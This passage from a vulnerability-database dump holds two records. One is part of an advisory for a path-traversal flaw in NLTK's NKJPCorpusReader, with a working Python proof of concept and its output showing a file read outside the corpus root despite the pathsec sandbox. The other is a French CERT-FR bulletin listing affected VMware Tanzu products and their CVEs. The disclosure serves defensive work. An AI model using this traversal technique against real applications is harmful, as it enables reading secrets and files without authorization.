      "details": "### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, \u0027..\u0027 not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 \u2014 pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker\u0027s target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
      "id": "BREW-safety-CVE-2026-12072",
      "modified": "2026-10-29T21:42:01Z",
      "published": "2026-08-13T17:33:32Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)",
      "upstream": [
        "GHSA-6hm5-jgcp-p838",
        "CVE-2026-12072",
        "PYSEC-2026-3581"
      ]
    }

    CERTFR-2026-AVI-1486

    Vulnerability from certfr_avis - Published: 2026-11-09 - Updated: 2026-11-09

    De multiples vulnérabilités ont été découvertes dans les produits VMware. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.

    Solutions

    Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

    Impacted products
    Vendor Product Description
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.2.12
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 3.13.21
    VMware N/A VMware Tanzu Application Platform versions antérieures à 1.12.8
    VMware N/A VMware Tanzu for Valkey pour Kubernetes versions antérieures à 3.6.0
    VMware N/A VMware Tanzu for Postgres pour Kubernetes versions antérieures à 4.6.0
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.3.7
    VMware N/A VMware Tanzu Greenplum versions antérieures à 6.34.0
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 4.3.7
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 4.1.17
    VMware N/A VMware Tanzu Greenplum Command Center versions antérieures à 6.18.0
    VMware N/A VMware Tanzu Greenplum versions antérieures à 7.9.0
    VMware N/A VMware Tanzu GemFire versions antérieures à 10.2.9
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 3.13.21
    VMware N/A VMware Tanzu GemFire pour Kubernetes versions antérieures à 2.6.4
    VMware N/A VMware Tanzu Greenplum MCP Server versions antérieures à 1.1.0
    VMware N/A VMware Tanzu GemFire versions antérieures à 10.1.10
    VMware N/A VMware Tanzu Greenplum Platform Extension Framework versions antérieures à 8.1.0
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.1.17
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 4.2.12
    VMware N/A VMware Tanzu for MySQL pour Kubernetes versions antérieures à 2.0.6
    VMware N/A VMware Tanzu GemFire versions antérieures à 10.3.3
    VMware N/A VMware Tanzu GemFire Management Console versions antérieures à 1.5.0
    VMware N/A VMware Tanzu Data Flow pour Kubernetes versions antérieures à 2.1.7
    VMware N/A VMware Tanzu Greenplum Streaming Server versions antérieures à 2.4.0
    VMware N/A VMware Tanzu GemFire Vector Database versions antérieures à 1.2.3
    VMware N/A VMware Tanzu Greenplum Data Copy Utility versions antérieures à 2.9.8
    VMware N/A VMware Tanzu Greenplum pour Kubernetes versions antérieures à 1.2.0
    VMware N/A VMware Tanzu Greenplum Command Center versions antérieures à 7.8.0
    VMware N/A VMware Tanzu GemFire .NET Client versions antérieures à 1.0.3
    VMware N/A VMware Tanzu Greenplum Backup and Restore versions antérieures à 1.34.0
    VMware N/A Vmware Spring Cloud Gateway pour Kubernetes versions antérieures à 2.3.0
    VMware N/A VMware Tanzu GemFire Session Management versions antérieures à 2.0.1
    VMware N/A VMware Tanzu Greenplum Text versions antérieures à 4.1.0
    VMware N/A VMware Tanzu Greenplum Streaming Server versions antérieures à 1.4.0
    VMware N/A SQL Assistant for VMware Tanzu Data Intelligence versions antérieures à 1.1.0
    References
    Bulletin de sécurité VMware 39550 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39545 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39539 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39534 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39548 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39536 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39544 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39549 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39522 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39530 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39537 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39533 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware DSA-2026-24 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39518 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39542 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39517 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware DSA-2026-24 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39528 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39514 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39523 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39516 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39551 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39525 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39543 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39541 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39540 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware DSA-2026-24 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39527 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39519 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39546 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39521 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39538 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39529 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39535 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39515 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39531 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39532 2026-11-06 vendor-advisory

    Show details on source website

    {
      "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
      "affected_systems": [
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.2.12",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 3.13.21",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Application Platform versions ant\u00e9rieures \u00e0 1.12.8",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu for Valkey pour Kubernetes versions ant\u00e9rieures \u00e0 3.6.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu for Postgres pour Kubernetes versions ant\u00e9rieures \u00e0 4.6.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.3.7",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 6.34.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.3.7",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.1.17",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 6.18.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 7.9.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.2.9",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 3.13.21",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire pour Kubernetes versions ant\u00e9rieures \u00e0 2.6.4",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum MCP Server versions ant\u00e9rieures \u00e0 1.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.1.10",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Platform Extension Framework versions ant\u00e9rieures \u00e0 8.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.1.17",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.2.12",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu for MySQL pour Kubernetes versions ant\u00e9rieures \u00e0 2.0.6",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.3.3",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire Management Console versions ant\u00e9rieures \u00e0 1.5.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Data Flow pour Kubernetes versions ant\u00e9rieures \u00e0 2.1.7",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 2.4.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire Vector Database versions ant\u00e9rieures \u00e0 1.2.3",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Data Copy Utility versions ant\u00e9rieures \u00e0 2.9.8",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum pour Kubernetes versions ant\u00e9rieures \u00e0 1.2.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 7.8.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire .NET Client versions ant\u00e9rieures \u00e0 1.0.3",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Backup and Restore versions ant\u00e9rieures \u00e0 1.34.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "Vmware Spring Cloud Gateway pour Kubernetes versions ant\u00e9rieures \u00e0 2.3.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire Session Management versions ant\u00e9rieures \u00e0 2.0.1",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Text versions ant\u00e9rieures \u00e0 4.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 1.4.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "SQL Assistant for VMware Tanzu Data Intelligence versions ant\u00e9rieures \u00e0  1.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        }
      ],
      "affected_systems_content": "",
      "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
      "cves": [
        {
          "name": "CVE-2025-6395",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6395"
        },
        {
          "name": "CVE-2026-90828",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90828"
        },
        {
          "name": "CVE-2026-75595",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75595"
        },
        {
          "name": "CVE-2026-14671",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14671"
        },
        {
          "name": "CVE-2026-14380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
        },
        {
          "name": "CVE-2026-12061",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12061"
        },
        {
          "name": "CVE-2026-53910",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53910"
        },
        {
          "name": "CVE-2026-54293",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
        },
        {
          "name": "CVE-2025-8715",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8715"
        },
        {
          "name": "CVE-2026-56404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56404"
        },
        {
          "name": "CVE-2026-58055",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58055"
        },
        {
          "name": "CVE-2026-49978",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
        },
        {
          "name": "CVE-2025-66506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66506"
        },
        {
          "name": "CVE-2022-27943",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-27943"
        },
        {
          "name": "CVE-2025-66865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66865"
        },
        {
          "name": "CVE-2026-32777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32777"
        },
        {
          "name": "CVE-2026-70007",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70007"
        },
        {
          "name": "CVE-2026-93565",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93565"
        },
        {
          "name": "CVE-2025-61730",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61730"
        },
        {
          "name": "CVE-2026-54369",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
        },
        {
          "name": "CVE-2026-27135",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27135"
        },
        {
          "name": "CVE-2026-47221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47221"
        },
        {
          "name": "CVE-2026-97206",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97206"
        },
        {
          "name": "CVE-2025-3264",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3264"
        },
        {
          "name": "CVE-2025-53547",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-53547"
        },
        {
          "name": "CVE-2026-47204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47204"
        },
        {
          "name": "CVE-2026-42308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42308"
        },
        {
          "name": "CVE-2026-12252",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12252"
        },
        {
          "name": "CVE-2026-100666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-100666"
        },
        {
          "name": "CVE-2025-31115",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-31115"
        },
        {
          "name": "CVE-2025-58183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
        },
        {
          "name": "CVE-2026-82417",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82417"
        },
        {
          "name": "CVE-2025-15282",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15282"
        },
        {
          "name": "CVE-2018-1115",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-1115"
        },
        {
          "name": "CVE-2026-71890",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71890"
        },
        {
          "name": "CVE-2026-48776",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48776"
        },
        {
          "name": "CVE-2026-93494",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93494"
        },
        {
          "name": "CVE-2025-58190",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58190"
        },
        {
          "name": "CVE-2026-33947",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33947"
        },
        {
          "name": "CVE-2026-4878",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
        },
        {
          "name": "CVE-2026-11940",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11940"
        },
        {
          "name": "CVE-2026-17106",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-17106"
        },
        {
          "name": "CVE-2026-27205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
        },
        {
          "name": "CVE-2026-59205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
        },
        {
          "name": "CVE-2026-33845",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
        },
        {
          "name": "CVE-2026-102598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102598"
        },
        {
          "name": "CVE-2026-56288",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56288"
        },
        {
          "name": "CVE-2026-34743",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34743"
        },
        {
          "name": "CVE-2026-25087",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25087"
        },
        {
          "name": "CVE-2026-56862",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56862"
        },
        {
          "name": "CVE-2025-68973",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68973"
        },
        {
          "name": "CVE-2026-89092",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89092"
        },
        {
          "name": "CVE-2026-94265",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94265"
        },
        {
          "name": "CVE-2026-115455",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115455"
        },
        {
          "name": "CVE-2026-53613",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53613"
        },
        {
          "name": "CVE-2026-53614",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53614"
        },
        {
          "name": "CVE-2026-59995",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59995"
        },
        {
          "name": "CVE-2026-44405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
        },
        {
          "name": "CVE-2026-53877",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53877"
        },
        {
          "name": "CVE-2026-50252",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50252"
        },
        {
          "name": "CVE-2026-16239",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16239"
        },
        {
          "name": "CVE-2026-97032",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97032"
        },
        {
          "name": "CVE-2026-42309",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42309"
        },
        {
          "name": "CVE-2026-42507",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42507"
        },
        {
          "name": "CVE-2026-33818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33818"
        },
        {
          "name": "CVE-2026-12075",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12075"
        },
        {
          "name": "CVE-2026-77407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77407"
        },
        {
          "name": "CVE-2026-6474",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6474"
        },
        {
          "name": "CVE-2026-42306",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42306"
        },
        {
          "name": "CVE-2026-15742",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15742"
        },
        {
          "name": "CVE-2025-10148",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-10148"
        },
        {
          "name": "CVE-2026-39830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39830"
        },
        {
          "name": "CVE-2026-63384",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63384"
        },
        {
          "name": "CVE-2025-25724",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-25724"
        },
        {
          "name": "CVE-2026-6472",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6472"
        },
        {
          "name": "CVE-2025-14087",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14087"
        },
        {
          "name": "CVE-2026-6469",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6469"
        },
        {
          "name": "CVE-2026-34180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
        },
        {
          "name": "CVE-2026-68763",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
        },
        {
          "name": "CVE-2026-5160",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5160"
        },
        {
          "name": "CVE-2026-41637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41637"
        },
        {
          "name": "CVE-2026-86805",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86805"
        },
        {
          "name": "CVE-2026-1669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1669"
        },
        {
          "name": "CVE-2026-96234",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96234"
        },
        {
          "name": "CVE-2026-39956",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39956"
        },
        {
          "name": "CVE-2026-71886",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71886"
        },
        {
          "name": "CVE-2026-45416",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45416"
        },
        {
          "name": "CVE-2026-6846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6846"
        },
        {
          "name": "CVE-2025-69645",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69645"
        },
        {
          "name": "CVE-2026-73228",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73228"
        },
        {
          "name": "CVE-2026-33186",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
        },
        {
          "name": "CVE-2025-7545",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-7545"
        },
        {
          "name": "CVE-2026-39826",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39826"
        },
        {
          "name": "CVE-2026-45404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45404"
        },
        {
